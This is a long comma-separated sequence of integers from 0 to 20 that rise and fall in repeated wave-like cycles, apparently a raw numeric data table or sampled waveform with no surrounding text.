1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 